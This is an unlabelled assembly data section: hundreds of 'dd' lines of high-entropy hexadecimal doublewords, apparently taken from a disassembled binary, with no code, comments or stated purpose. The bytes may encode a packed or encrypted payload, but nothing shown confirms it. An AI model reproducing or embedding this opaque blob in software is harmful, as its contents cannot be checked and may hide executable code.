		dd 0C408D005h, 98248030h, 1E82AEC2h, 4DFEB00Eh,	0CC6870CCh
		dd 9A03B20Fh, 6F6CECB6h, 4C8050CFh, 0E56B407Dh,	0A8BB0731h
		dd 0C4528E58h, 9E608752h, 3D2537A0h, 50DF71h, 45075810h
		dd 30C0434Ch, 6D724023h, 0E265020Ah, 6968A36h, 84008C4Ah
		dd 0D58DAD7Eh, 39E3D3F7h, 0F1C2F7E7h, 8089C443h, 212AD270h
		dd 30722015h, 96082379h, 8DFF0B61h, 280C8666h, 92CF807Bh
		dd 4D0EE848h, 2050D4EFh, 9C829196h, 0E2890E3Fh,	2521CC33h
		dd 84549778h, 667B6CD1h, 903FBA04h, 7CC6C440h, 0CAB480A0h
		dd 0D0018924h, 70718EAh, 26645B9h, 0C38DEE9h, 50113FE1h
		dd 0DFB780h, 0D4F36E1Bh, 12976B4Ch, 4FECC374h, 42737103h
		dd 0F1D5255Eh, 0C1E43554h, 1C9407D1h, 0F90CB99h, 2070E783h
		dd 0C3F8578Bh, 8D081625h, 3F4F221Ch, 78CF59Eh, 83366A19h
		dd 20003772h, 6EB5789Ah, 0D4EAE6h, 0B8184DFDh, 53685E9Bh
		dd 6BDF9E00h, 529912E5h, 710C00E9h, 318EBEF5h, 0E67C16Ch
		dd 75000618h, 0C018C96Bh, 9DA1B310h, 2C3CA536h,	0C31A728Dh
		dd 80704730h, 995A68E8h, 5C907482h, 9818747Dh, 226D28A1h
		dd 0DD0B760Ch, 391C1095h, 0F8E1E842h, 0DC9226D4h, 0C318575Ch
		dd 7A200F5Dh, 0DBB91E59h, 8724C640h, 0A31E3878h, 980C367Dh
		dd 40A110D8h, 0B540A595h, 0B94A009Ch, 0FAF2E164h, 8CA0D98Ch
		dd 33B2558h, 14100793h,	20060D4h, 143A172Bh, 0B8C3D242h
		dd 0F0D53450h, 105B606Bh, 1A751B53h, 0FA2F6D00h, 44BBF3B7h
		dd 93DA05E5h, 4274C74h,	3EC0FC0h, 0A818DC1h, 479D6B38h
		dd 0DF0C0A98h, 0CE41F78h, 0BA181BE8h, 7A82770Bh, 0F9C8808Fh
		dd 285D5B4h, 226FB636h
		dd 1CA10B78h, 0D290981Ah, 75081200h, 0C7070C9h,	3B1B6BE3h
		dd 307C0418h, 9C33A000h, 6CB28137h, 65070409h, 80C9B3DAh
		dd 2ECBE724h, 0F74A4418h, 400142B0h, 0B4B8FF0Dh, 34E0B58h
		dd 636C58A3h, 90581DA5h, 1F42A20h, 0D51959A8h, 432AD3ECh
		dd 0B80C090Ch, 108F3024h, 6321016Ch, 0C9F1DD04h, 9718C080h
		dd 0FECE903Eh, 38B4A433h, 0FCB00922h, 0D3819BCAh, 0D6CED3B3h
		dd 6E1A1240h, 0D6A578A0h, 0CAFC8355h, 893902h, 5EC05A9Bh
		dd 6BA1B805h, 844049BAh, 6856242Ch, 596207E3h, 80505E47h
		dd 3370EABEh, 6B80F00h,	127CBE1h, 348B16F0h, 0EBF824h
		dd 4008E8C1h, 12DD8F7h,	0EB67AAEFh, 0C36619E9h,	12053187h
		dd 0D001DC68h, 73636DF8h, 0B858B318h, 0E2FFD763h, 78BEE59h
		dd 8957240Ch, 2BC8D3E7h, 65D283Ch, 0CB015AD1h, 6353FC23h
		dd 0E6D01C2Ch, 86F358B9h, 61E86844h, 14890018h,	0BD555024h
		dd 42E834DEh, 4EDC100h,	3EC7F581h, 0E91C0DAEh, 0ED30120Ah
		dd 0A70FBECh, 4740F7F6h, 0C210E0BBh, 1C8BDD51h,	0C6E97A84h
		dd 5E3C7410h, 0FBFF7C8Fh, 832966F9h, 0F0E99C0Eh, 5D220ED6h
		dd 99B4C601h, 6F64F263h, 5A545405h, 3C10C281h, 0C0878C06h
		dd 0E959195Ch, 883349CCh, 3D8AA0FDh, 0B3683206h, 0FA33B70Fh
		dd 0B75028DFh, 9E5F4805h, 0C88F10Ch, 40C1F857h,	60DF3305h
		dd 1099828Ch, 7FBD0FBFh, 0CE464F7Ah, 30601422h,	88505370h
		dd 33517DCCh, 747B85EFh, 0FD9986EDh, 79655C7Eh,	0A50C83A7h
		dd 0A8B81889h, 18BC36Eh, 552C9B6Bh, 50230FE9h, 95AD5ACh
		dd 0AC1C6F33h, 19477C56h, 24BF243Ch, 0F821C020h, 0D5148B68h
		dd 0C90989C5h, 4C010654h, 0C1313B12h, 0E355E99h, 0F2CE702Dh
		dd 285A4E48h, 5E7D0705h, 0F379870Fh, 0E9D8A16Ah, 7880E8FBh
		dd 13BAB951h, 0C10F14A4h, 0E18106E1h, 3D2A60E2h, 3153D0DBh
		dd 6C7CA5h, 56D9CBF1h, 59CF0143h, 32E95E3Bh, 8E837A5Ah
		dd 455F4F80h, 824A6998h, 0CC6DF0C7h, 822A38F8h,	28826CA9h
		dd 9B491D2Ch, 0B0AECA5Dh, 351B55CFh, 54D7F7E1h,	0B39B0807h
		dd 794349BFh, 12D5B235h, 7EBDA621h, 11280505h, 4CA246Bh
		dd 81895648h, 5EC85A5h,	0A10DF05Eh, 888AA113h, 60E9C481h
		dd 710A50EEh, 83464212h, 45E97106h, 1C8724D1h, 91A18C0Ch
		dd 259258D1h, 0F5EDE2E4h, 6C41FF2Dh, 837A9ACEh,	2FF29029h
		dd 0F720CED9h, 0C4498Ah, 0E0F190D3h, 591FCB29h,	35798951h
		dd 0CD4133CEh, 6181BF5Bh, 283159F8h, 1EBC5EF7h,	3C97481Fh
		dd 37CAFAA8h, 9C5CDBB4h, 639233D8h, 66F9F600h, 0E9CCB60Fh
		dd 3554D86h, 61632C24h,	20977DEFh, 9098FB1Ch, 6542900Eh
		dd 22F7C933h, 0A5D8AAAh, 4CD41298h, 996281C9h, 4F767114h
		dd 3C0AB5A7h, 501C9C65h, 0D51A41A6h, 19398008h,	7651D927h
		dd 12016083h, 4E244AE5h, 5A3A2D0Eh, 0C8298543h,	81F8F84h
		dd 58312E42h, 81BA6865h, 0CCAE827Dh, 172E06Dh, 59C8013Fh
		dd 19B21A2h, 21E8290Eh,	524ED132h, 716421D0h, 3BE17F69h
		dd 0EC58B59Fh, 5067FA46h, 4887B9E6h, 50CC252Ch,	1BAB0584h
		dd 0A003AFBh, 4706EFC1h, 1494F781h, 0BC436AF8h,	1F1A8D40h
		dd 94FB2919h, 5F3708EBh, 0B486DB0Eh, 0AB246A55h, 68C14220h
		dd 1833121Fh, 0CF869850h, 0C3DD5210h, 5A79B830h, 64FB54E1h
		dd 0B45B624h, 0ABD8C30h, 2F904307h, 810300BEh, 0DFF554EDh
		dd 90011028h, 8F071BAAh, 8A6B5768h, 0EDE986B5h,	86A054D3h
		dd 4482731Dh, 0C95CDE92h, 0ABAA5E50h, 64F09CBAh, 5F5489DEh
		dd 65F11BB3h, 0E0935374h, 706005D9h, 5BFA767Ch,	88049792h
		dd 0C63059E8h, 5051B980h, 0E91709B4h, 91A557EEh, 0D64980EAh
		dd 0F9A4148Bh, 7080DB93h, 53D1367h, 0DF7200D7h,	1E88330h
		dd 5E02BF57h, 31665386h, 0B9B783F8h, 2D783CD8h,	187F0974h
		dd 0F002C589h, 0B800DD51h, 1F5E6F96h, 79C70154h, 0A881EF9Ch
		dd 3C555C0Bh, 1E301807h, 0EEC09F43h, 79777C24h,	9F0CC6ECh
		dd 0C600651h, 159F4B5h,	5EF58938h, 0C55DEF29h, 3302D083h
		dd 316C8998h, 33E90D06h, 8784F9B0h, 4D289F5h, 580332B4h
		dd 8A4B83AAh, 62B9BB53h, 9909322Dh, 0F0249475h,	30F87709h
		dd 0BE0E641Ch, 0D93050D0h, 0F3BC06Ah, 1757617h,	640597F6h
		dd 0D9E9565Dh, 2490B9DEh, 0DD88A20Ch, 173020D2h, 60E28952h
		dd 1B796806h, 0AED34792h, 0F46CC504h, 0BFC1BD90h, 72FE0E44h
		dd 0CF4DF931h, 87123008h, 0B9B30F1h, 3E1A6808h,	15831301h
		dd 34488EFBh, 0B06F442Ah, 25FC592Eh, 69027879h,	0F00C9F8Eh
		dd 0CA833436h, 0EA81005Ah, 383B35AEh, 95CA02CEh, 0C34FEF54h
		dd 3AD693B3h, 873CF708h, 52AEE917h, 807C6099h, 78CBDBCDh
		dd 68DC9816h, 31851FDFh, 5442573Eh, 0C910AD97h,	2014202Dh
		dd 13BD872h, 847899D9h,	6B33BA28h, 0B6407257h, 861AC378h
		dd 693C0ECh, 8C8E2ED1h,	66CC38Bh, 0F8038126h, 0CDB93740h
		dd 0F5000F4Ah, 0F71D0601h, 0A94B51DBh, 810C01E3h, 0D56408E3h
		dd 1FAF6269h, 0DAC4F6FCh, 0FADD1C8Bh, 0D931C264h, 0E28B0D06h
		dd 0A44D578Ah, 45597CBh, 0A757C572h, 87095556h,	0FF5BF294h
		dd 0B9F3E02Fh, 986A9374h, 323D05F2h, 0C3410BA7h, 35A7088Dh
		dd 0BFF34A53h, 0D57C6596h, 31638358h, 0FFBD06B4h, 1B014C03h
		dd 6DCCF841h, 21511472h, 0C84452D0h, 9AFEB270h,	0BAB7F0AAh
		dd 4D53587Ch, 9D35944h,	5BDF015Ah, 617BCB08h, 332C9468h
		dd 0E50073BDh, 32CDB850h, 0FE2D2F5Eh, 0FAF1649h, 0A46C05F7h
		dd 0B9DF2715h, 0C940E73Ah, 5C908DC0h, 1F2D6816h, 21E98130h
		dd 65DAD3D1h, 98E38483h, 3AB857B8h, 0CEB015B2h,	0A3459720h
		dd 62446BBh, 0E4CCE909h, 6847214h, 2F56E910h, 32D8BF00h
		dd 0E78173F4h, 0E43DE108h, 4AB5026Fh, 81C044E2h, 0EF3E4769h
		dd 0E576731Eh, 15E0F02h, 0C8335FFDh, 0C0186F1Fh, 0D2F6EE67h
		dd 892EA71Ch, 539DE1F1h, 0F564E397h, 91C80624h,	0FF4C5129h
		dd 52743745h, 22A6E481h, 20026442h, 0EA885266h,	0D3E8DDE4h
		dd 0CB523F1h, 20D5F602h, 0E95080EEh, 38683334h,	47820785h
		dd 5F9387F2h, 5E823035h, 0EBF607D0h, 0EF19306h,	31C23366h
		dd 8B0DCF06h, 2D1E2C17h, 0B2EC05A3h, 1A1FC64Dh,	0F2ACB2EFh
		dd 2C95962Fh, 92FF21E0h, 0CF7E04F1h, 1D611282h,	2725C330h
		dd 61483146h, 0D366B302h, 0F8E5343Ch, 94FECF52h, 0A02227Dh
		dd 575AD701h, 995F1352h, 0A209D21Dh, 0C9BCE9C5h, 0EF205D3Ch
		dd 1E5E250h, 5BDA2145h,	4007EAC1h, 942A4A3h, 882E2C90h
		dd 89B95EEFh, 7363D4Ch,	0E63CD1B3h, 947A036Ah, 6EEC125h
		dd 0B241654Ah, 10F73E9Eh, 1E097D20h, 1646A65Fh,	12216DFh
		dd 0D87F7EE2h, 0CDB765E4h, 5FB424FEh, 0E6817393h, 558C1EA4h
		dd 54C30C84h, 10DB069h,	7873B09Ch, 0D5A2C49h, 80D59DA9h
		dd 0D3F3C581h, 8904ECDFh, 3ADE9EAh, 20C2DD2h, 88024CC9h
		dd 0E5C8C1C5h, 1F89FA98h, 56816784h, 1808BE83h,	56096C01h
		dd 7DF4051h, 28B8DCE5h,	0D1785D4Eh, 4CFEF644h, 0DA420FC9h
		dd 311A3348h, 0BF0963E1h, 637B8300h, 0EAB06E28h, 8143E72Ah
		dd 0EF72ED54h, 6813C8BAh, 3D5925BCh, 9734F6A0h,	40240C1h
		dd 5A84C754h, 9AC4A8ACh, 0C101E209h, 0E44E07E6h, 5E815510h
		dd 60371422h, 0CEB8E39Dh, 2A100A58h, 68048A2Dh,	725212D5h
		dd 2F956895h, 63368C83h, 18C67448h, 0D12FC588h,	4D9AEE50h
		dd 81C470Fh, 225D0C01h
		dd 5FEC12EDh, 919353B2h, 711BF45h, 8BEE31D0h, 0E0129C2Ch
		dd 537D73F6h, 9E58D8BFh, 9CE9621Bh, 0C3A55D78h,	22C1838Ch
		dd 8061C031h, 0EEC0CDC6h, 51660201h, 0FBB45053h, 5AB7A8DBh
		dd 0E9FC1328h, 557A80AAh, 21EEF68h, 0A9CD26B8h,	0D8804434h
		dd 49C30E80h, 9DFADDF7h, 0CC74914Eh, 0D2B6B484h, 0A9945C24h
		dd 0A5E909DBh, 53472C9h, 0DC0125D9h, 0F9536465h, 44C7CDC2h
		dd 90F57CA4h, 907C0D38h, 620F1CECh, 0EB814605h,	499C0D0Bh
		dd 44196F0Ch, 5EF30D29h, 0C2976851h, 7EACD559h,	9318CC8Dh
		dd 0E26CC11h, 30BA81B7h, 462068E7h, 7BA64391h, 63E953ECh
		dd 5854DB90h, 8A3EB22Ah, 8312C642h, 5C0492EEh, 0E2E230A8h
		dd 0FACC5EF7h, 0A8847D92h, 54CE925h, 70CD66CBh,	46C53442h
		dd 427B31A0h, 8ACD4C0Bh, 0F02052Eh, 54C4F613h, 69FCD0A4h
		dd 52096B03h, 97CED632h, 0DD209A9Ah, 0FC95A041h, 33580FBh
		dd 385ADC12h, 0EB2960C0h, 69E92D5Dh, 3CE50D09h,	0B598CB20h
		dd 3AE046C4h, 4EAC29E4h, 69373134h, 0F110A487h,	801F7650h
		dd 370EC981h, 0C05EE13Dh, 56F91DF1h, 6F5498FCh,	0D1B37FE2h
		dd 3884E0C9h, 5452D922h, 0C01B3F26h, 53BA713Dh,	0F8910CC3h
		dd 0E58F888Bh, 0CA290532h, 0FED30059h, 0F7134A2Bh, 586EDA4Ch
		dd 0E0428EFAh, 467D72CAh, 1BE91862h, 9AC1B153h,	0EBE6902h
		dd 4159CD01h, 57AC4AA6h, 0FE8909ECh, 233C2005h,	2CD3537Ch
		dd 0E68E4EDDh, 0D060ABE4h, 58C38843h, 1A7C5974h, 18D838EEh
		dd 80646032h, 343A902Ch, 88510FD0h, 547AA5C7h, 0DF1266B3h
		dd 0BA22C871h, 54A8F0Ch, 246C66Ah, 682AD138h, 0E90311ECh
		dd 59313D51h, 17094B98h, 0FED6ED9Bh, 0EA873032h, 718E0025h
		dd 2C68C17Ch, 80B857E9h, 7D742DADh, 1EF673FEh, 2504D3D6h
		dd 83028DDDh, 0F9D202C7h, 7454495Ah, 0FC83A53h,	16393768h
		dd 0E3D86021h, 40BF5A80h, 0B9515462h, 290B4261h, 55285FF9h
		dd 0A7782C4Bh, 848B49h,	0D1C281EAh, 0FA6A5E2Eh,	49625C04h
		dd 0B4BD3C88h, 0DE8B6DDAh, 0D5FA011Eh, 0D08B0B3Ch, 56518DB0h
		dd 2AAC8D93h, 2730A082h, 8124E15Fh, 0E3AAECCh, 4E685751h
		dd 0BB8F30B2h, 0E6604DE2h, 0A2FBF346h, 82EC50C2h, 17CAB1FEh
		dd 341F7202h, 314B4A70h, 1B114A41h, 0A9304256h,	0B4121F25h
		dd 80D6EC58h, 57501AF2h, 43992969h, 0E879FAB2h,	0D1C7742h
		dd 0D359669Dh, 12E660DAh, 2E80CB40h, 103920CFh,	4C3C4C28h
		dd 0D10A16A0h, 7F20CAh,	494662B8h, 0E8D14869h, 0DE80E913h
		dd 695B5392h, 0B86C5CD1h, 0E9B0AD48h, 10D68091h, 0CBB02786h
		dd 678A5D08h, 5182082Bh, 4056F02Eh, 6D83133h, 9C15C0Dh
		dd 52E908EDh, 69C23F90h, 76090D14h, 4C7C0BA6h, 0E22B022Dh
		dd 0C2EB2445h, 312701CEh, 8DD4C8Eh, 2CAB2968h, 0FC1A0FDh
		dd 0C6F1E53Bh, 31060133h, 80215FFBh, 7E9C1FEh, 9113D768h
		dd 0CB579ED5h, 6903922h, 0AF33711Ch, 0C9DECA60h, 836120BDh
		dd 8069231h, 0E806BCFEh, 0E1A639ADh, 0A4302633h, 2D59938Bh
		dd 0E2090DDEh, 0A281F0Fh, 8F605B5Eh, 2C4944BEh,	66C4767Eh
		dd 6AB35E29h, 20E80A9Eh, 2A61C505h, 8B006AE6h, 4E18622Bh
		dd 13DD7F01h, 884171E9h, 0C0908148h, 0D27E9C0Ch, 0D85AB964h
		dd 28A47E57h, 814E3F00h, 903EA0E6h, 0EEC10B01h,	0B38F4603h
		dd 2CB777A0h, 0F1BEE7E9h, 55504705h, 0D8AB2282h, 62030F30h
		dd 10496838h, 62E446C9h, 0D0866AC4h, 3795308h, 5293E954h
		dd 54610C4Ah, 179AB0Fh,	48C97E10h, 46C7008Fh, 2960C257h
		dd 4D54FCEFh, 0FD281A63h, 0B32F087h, 835F3AEDh,	0F487F506h
		dd 0CE8F5C50h, 12A23703h, 92C1E3D1h, 5EA64105h,	475AE30h
		dd 24E9C321h, 10BD0023h, 3E60B67Eh, 0F516EE09h,	0CAD6CD26h
		dd 47201564h, 0C3012CCBh, 1D22A8E9h, 0EC7E0BF9h, 70B53DEFh
		dd 2C83A22Ch, 48104002h, 54DF024Ch, 0D310F0C0h,	17EB581Bh
		dd 73675BD8h, 349C3F3h,	32FBE0Ah, 1FD2106Eh, 0BF07E250h
		dd 42DF176Bh, 2C2D31A3h, 140DEB57h, 21D3AF1Ch, 6225B003h
		dd 43A21A25h, 5B0DA577h, 7BE13DC2h, 9E07283Eh, 3014490Ah
		dd 54497D98h, 0AD429ED5h, 56674602h, 1F7C6A6Dh,	7CA0579h
		dd 3A980343h, 1ABEA40Dh, 25085E09h, 55EE20CFh, 3F2D05BDh
		dd 0E5833EFFh, 193349DEh, 5CE60C00h, 55E970BBh,	6578D62Eh
		dd 0E90160F0h, 92A2DA2Bh, 105499C4h, 0DB60F7F5h, 6531B064h
		dd 36C58052h, 1219A3Bh,	0DF44A0F5h, 0D6710156h,	0B41EAC81h
		dd 55E9D4DDh, 7B79F0B1h, 79CFC08Ah, 7FD11F09h, 72950D5Ah
		dd 31E2E018h, 51245714h, 4BCD01E9h, 0EAC1092Ch,	69C20820h
		dd 2F03A1CFh, 364F31ACh, 8087EB38h, 47961AE9h, 0D9295B04h
		dd 3E867281h, 56457E9h,	621C26E9h, 52E7402Fh, 311D68A0h
		dd 59965EF2h, 0C42DB310h, 93D56FE9h, 0C7258E12h, 86EFF104h
		dd 31686ECCh, 0F6331229h, 0D5E06DCEh, 0B28C5C35h, 25135641h
		dd 151B6932h, 9F549628h, 5CF57135h, 85926CD9h, 0C28E2854h
		dd 90D13D40h, 3CBDA05Ch, 623448EEh, 0F1D98600h,	65350545h
		dd 0E977FA04h, 68F4D726h, 3053A424h, 0C811081Bh, 620B2559h
		dd 5068604h, 1CD14924h,	4A8D3F7h, 0BA84185Ah, 2FEC3A78h
		dd 3D83080h, 0C0A9B551h, 0ED9808E5h, 0D561F603h, 0F580060Ah
		dd 0E030D371h, 0BDF1402Fh, 3BA482B9h, 470F2E19h, 0B12168D8h
		dd 0C45147BEh, 3659C87Fh, 0BDB6033Bh, 3AA8A650h, 0E2C15A80h
		dd 0B8D2F706h, 1A290154h, 0A5E92D64h, 5D22957Bh, 1EE479DCh
		dd 0D10012D2h, 71174BB1h, 8147005Fh, 0AC6421EFh, 0F97A8923h
		dd 2A7E0504h, 0AC8217D2h, 0A25B05E0h, 685C04E3h, 15CD0CB9h
		dd 953A0430h, 78104C3Ah, 0D6B65DEFh, 0D0AEE962h, 1B6BAE1h
		dd 6D0A4412h, 7001EA83h, 3818FE2Ah, 0D9DA0E2Ch,	57AD3066h
		dd 9B1BD20Ch, 0D55E01FAh, 50ACCF62h, 6AB900A9h,	817FD607h
		dd 68057EF1h, 0CE31AF18h, 25E9E888h, 0A3114D61h, 2CD80102h
		dd 31BC212Ah, 947E41C6h, 0C2AFA7CAh, 0D8C162E5h, 2F9069h
		dd 418C74B4h, 0E63E945h, 0ED04B191h, 0CAB8AE66h, 56F82322h
		dd 63FBBCF0h, 0FB6809DEh, 588F1962h, 0E06BDC02h, 92CCDDFBh
		dd 81F83282h, 0AC68CCB1h, 4F89442h, 4B03F05Eh, 0BE70765Bh
		dd 0E1A3C380h, 62738A60h, 1926747h, 4C857F59h, 0AC16FA48h
		dd 0BAC9E10h, 2C8845Ch,	0FC5A3DBh, 0FC67746Bh, 28C5F926h
		dd 0C287F788h, 0D7CB8139h, 82275041h, 0FB3B6A0Ch, 97F9414Eh
		dd 9640693h, 7129069Eh,	9381A427h, 0A7A8487Dh, 5A48D331h
		dd 0DA841692h, 0FAEFC6D0h, 7DB47F5Fh, 806D4EF1h, 1B72BF5Ch
		dd 253842Eh, 3A41E713h,	28D7B450h, 0B00FB5E3h, 586EE9FDh
		dd 2EB995FDh, 550474F8h, 44B3E5FAh, 64DA9A27h, 0C6533047h
		dd 4833CDE7h, 0E2A0A24h, 0A42BA08h, 92D1CBBh, 5464D8B8h
		dd 8CEA8034h, 6C3892A1h, 172C00B5h, 35122E6Fh, 3E077800h
		dd 5D0F72Fh, 802010Bh, 97BF576Ch, 292EEC99h, 38B38295h
		dd 0A737FB3Dh, 1A6FF722h, 1A876604h, 70492D31h,	0BEE456DDh
		dd 1A516114h, 2A08E9F0h, 0C9096800h, 4D79840Fh,	4510B2C7h
		dd 132E7540h, 8BEA2376h, 65CA7717h, 93005E2Ch, 0C819135Ch
		dd 1F935D91h, 72856805h, 4A384F8Dh, 1343D324h, 85BEB220h
		dd 0F152CD44h, 75F71706h, 96E20B0Ah, 0E85551Dh,	92275325h
		dd 75745B7Dh, 53E69827h, 18B90451h, 0C716196Ah,	932B0126h
		dd 0CEA34006h, 777CAF4Bh
		dd 7F7EE13Eh, 0CFED057Bh, 0BE62A04h, 19D71B21h,	0E008E3C3h
		dd 702604F3h, 60189507h, 529EF5E9h, 0D892491Dh,	0ACF24Bh
		dd 0C5802031h, 0E42C3F99h, 92E4F02Eh, 81E625B9h, 3108365Ah
		dd 871F31D6h, 12A516Eh,	7D16035Bh, 0C6293D16h, 3BB6C50h
		dd 48670CC0h, 0FC01DE31h, 1B036856h, 0E8307340h, 0FB29804Ah
		dd 0F5B85F60h, 0C10D5819h, 0B493B90Ch, 6CEEF017h, 15E47818h
		dd 3628F60h, 0DE0105D8h, 7B27FCE9h, 940E6B5Dh, 7DC11F95h
		dd 0E079088Bh, 0A790E42Eh, 0FB894C03h, 0E38D44FDh, 0B895CC02h
		dd 9D0E7B19h, 2D3BC3E0h, 3F7EEC2Ah, 8D609328h, 36629B39h
		dd 821C2E45h, 783E8908h, 68F59E68h, 22E402F7h, 69546BA2h
		dd 25525994h, 0EC138B1Ch, 9744B055h, 0BB5B5309h, 760C839Ah
		dd 0D00182C4h, 0BE80525Ah, 54053590h, 0E9DA890Bh, 33C9C0D5h
		dd 0A0E4992Ch, 4EE49092h, 83352857h, 4CC7E988h,	5CC73D1Fh
		dd 0CF04A9C1h, 0C28109C0h, 8D78FBC0h, 4D9AE883h, 428654B2h
		dd 137C68A8h, 1897D6EEh, 91DA0169h, 7B2D259Ah, 7A7430EAh
		dd 16691941h, 821D732Ch, 5EF53158h, 6EB34705h, 7389A02Fh
		dd 21287982h, 0C8C731F1h, 6C7AD0F2h, 169325B3h,	0B279AD92h
		dd 5F9E992Fh, 0DC48A432h, 5C203C4Ah, 4228555Ah,	0A0DB5C68h
		dd 0E9EF6131h, 26553C13h, 203E245Eh, 0C681642h,	0D8498C7Eh
		dd 145B2A04h, 76F3DBF7h, 0C087451Dh, 0E9FFC383h, 0C7BC73B3h
		dd 226885E9h, 0FF64D5D0h, 4AEDF032h, 400BDDC1h,	31029255h
		dd 0CD176C72h, 0C942F2E9h, 0D85BF888h, 805A1D87h, 132812F3h
		dd 0E92B05B8h, 5DBCD2E5h, 0D56BC1h, 99209D68h, 5E5485DAh
		dd 49358052h, 0C1F4816Eh, 2807E026h, 255CC308h,	5D3EAE45h
		dd 3C5257FFh, 5C07D78Fh, 95F392F4h, 8A60B625h, 4FBAFBB0h
		dd 7E161E4Eh, 36E134C7h, 4701D0Eh, 0C03B12F9h, 0A4D0155h
		dd 535CE79h, 130CAFF0h,	2FD1C74h, 9A14C7D4h, 283F6656h
		dd 89F308E9h, 9247B9D0h, 2194075h, 1F484D46h, 7175C105h
		dd 0F6A88043h, 0B7A0916h, 1304EF2Ch, 857A0102h,	0C08A8B0Ch
		dd 4E82826h, 0EB805966h, 1888147h, 14F24A05h, 7FC9272Ch
		dd 9B0BEE4Ah, 4A4D82ACh, 8CAA5138h, 5FFDF3E4h, 0AE6F0C96h
		dd 4E7FFF7Fh, 0AFB5F641h, 7D96EA30h, 0C01A1DF2h, 9CB151FFh
		dd 71F7C1FEh, 59CAC03Fh, 0F1EED7FEh, 5305E29Eh,	30325B54h
		dd 97625097h, 580AEF16h, 55577568h, 25A1BE81h, 4B200EA6h
		dd 842216DBh, 568B0003h, 0E9335436h, 3275D237h,	0C62E0999h
		dd 400B982Bh, 0F725666Ch, 3A2DC6F1h, 244F8B54h,	0CE64EC2Ch
		dd 0DA62304Fh, 3964669Eh, 29E04920h, 831FFA29h,	1B7B48EAh
		dd 0E9F201B0h, 305855Eh, 8C1E895Bh, 0CDA7905Bh,	6F3C82h
		dd 46D6F75Ah, 5831564Dh, 0A00B6AB5h, 583BFD10h,	0E612557Ch
		dd 680C0E2Ch, 0B1AD441Dh, 0AD346E4Ah, 0CAD2E8ACh, 860A58D3h
		dd 5B271B12h, 0E95728F1h, 0E925F2D6h, 3D60B9E5h, 0FECF0CEBh
		dd 0F2D729DFh, 941CC46Bh, 8C02EC5Dh, 31665C0Ah,	96A5A7D8h
		dd 0D944D7F1h, 9CC229CCh, 0CC8754F2h, 0FB125965h, 24805C2Ah
		dd 1F504CB2h, 7E1D8988h, 7C5AB999h, 5852A118h, 0D065E236h
		dd 0C2F4A808h, 0A67C4768h, 9439CA8Ah, 0C597B7F4h, 731AF382h
		dd 2E2AE37Ah, 5777F74Dh, 3B01C831h, 41AD3877h, 0BC4B27CCh
		dd 40BD9481h, 0CCEA8A48h, 0DF0F6CE0h, 33106EF3h, 43A2481Bh
		dd 58C71696h, 56DFE2B2h, 82D43425h, 8CD42A06h, 5B605519h
		dd 4401A989h, 2195B763h, 3A0558B9h, 61E1634h, 8311E7C2h
		dd 2D3DE170h, 0B4C10744h, 2C81F8h, 18915C8Bh, 31182E10h
		dd 82F9AA82h, 0B7A1D554h, 936CF79Eh, 68EBF1C7h,	0C7EBF9F8h
		dd 724A0436h, 7D801ADCh, 2170EF81h, 83AE38FAh, 375843BEh
		dd 3A53B1E1h, 2BEA59ABh, 7E90A596h, 0C84ABF0Fh,	27E9E328h
		dd 76E9CDD1h, 4749C1B8h, 0A81FCF8Bh, 2C8B2C08h,	0A80FC4C3h
		dd 8605026Ch, 5401CB5Fh, 1C825271h, 800F35B9h, 0C497AEEh
		dd 4DBDF656h, 0FA4143CCh, 122F5230h, 84628569h,	148924FCh
		dd 6104140Bh, 114BD460h, 1AE984F1h, 2D4F16A8h, 3D8928BCh
		dd 991100B8h, 0F92D4830h, 0EF7F3F06h, 45B03DCh,	0E008E987h
		dd 0F67B8001h, 269628F0h, 0E9CE310Fh, 5BC66189h, 5CE4E775h
		dd 0F8DBD944h, 0C9FF4E4h, 5C9A016Fh, 56030AEAh,	2E6DDDBEh
		dd 5290EC12h, 60D56E38h, 73FF1C31h, 88836ADh, 0F9623AA8h
		dd 1074299Bh, 0C906CE2h, 0CE25E95Eh, 9863443Ch,	5F2C404Ah
		dd 88F80100h, 5B595808h, 0BDAACB5Ah, 4A9CFF64h,	964A644Bh
		dd 0F4D26428h, 264AE347h, 5A83D0CCh, 6103CBC7h,	0C8856639h
		dd 4171FD07h, 38715494h, 0F8DAC9A6h, 0F2129C28h, 0BA048644h
		dd 17DA2644h, 35FB1280h, 4B792E9Fh, 0B945023Fh,	0D97620C8h
		dd 4008E28Bh, 12FDEAF5h, 0F02DDBFBh, 8F25E98Ch,	415C924h
		dd 0E911283Eh, 17541449h, 32C71068h, 14B888A5h,	338B824Eh
		dd 7F82076Ah, 625CDC48h, 0A3B3944Bh, 99234A27h,	0D2A77D1Dh
		dd 136A54C9h, 3018E51Eh, 72B8E1F6h, 0E73B2B60h,	48420641h
		dd 9B3EDE46h, 78B812h, 8D6EA392h, 219F3179h, 3D0DE91Ch
		dd 36970B38h, 0DA980D43h, 483F25B1h, 182DD40Ah,	0EA3D2D8Bh
		dd 82ECD75Dh, 60BA536Bh, 2313761h, 87FFF645h, 0B9DB2EC5h
		dd 0BC76FE84h, 79148BAFh, 5864624Bh, 80DAB600h,	0C2AFA1C6h
		dd 71F2133Fh, 0C127E1DDh, 0E8AF419Ah, 0F78C5078h, 101D74B7h
		dd 0D7944F1Ah, 659A018Fh, 0FD0154ECh, 55A52C3Eh, 2C968291h
		dd 661ACC9Ah, 6A8208D3h, 5374CF21h, 1716B770h, 0C8F098E9h
		dd 0ED496B61h, 969691Dh, 0F7D320B2h, 2D40D8h, 25396720h
		dd 0C4EB951h, 4959FD1Fh, 0F841D1CCh, 878924CEh,	79C81FE7h
		dd 3D58C592h, 814D2C94h, 9986850h, 0E9868538h, 59EA8B75h
		dd 0F1C3BB60h, 5C4102E8h, 2384ED4Fh, 4783F432h,	49C0D01Fh
		dd 434BF29Fh, 0B35F1145h, 2C0BCA78h, 0B7B85A0Eh, 0E99AC898h
		dd 55E30BFh, 0F751002Ch, 57D8012Bh, 12049DBFh, 69E97698h
		dd 595E0AA0h, 22FDE66h,	0DEC47691h, 5747D0F6h, 419BBFD7h
		dd 2D827CC3h, 0BAEDE95Fh, 2688CBFCh, 0DBF60F4Dh, 5EE212F8h
		dd 0D6C019B7h, 0DA812FA5h, 0CCD95B72h, 437EBC1h, 6691A04Bh
		dd 122E7BE7h, 0E93501ACh, 0D87CCAF3h, 460403C2h, 0DA0157FEh
		dd 0E9170810h, 5F53429Dh, 0AB85CF09h, 8953D136h, 10CD22F0h
		dd 580977CAh, 4E82D129h, 2E730A60h, 893D253Dh, 34E81BBh
		dd 1420D3F7h, 9A550245h, 0E1D14124h, 20D91741h,	0CB09A516h
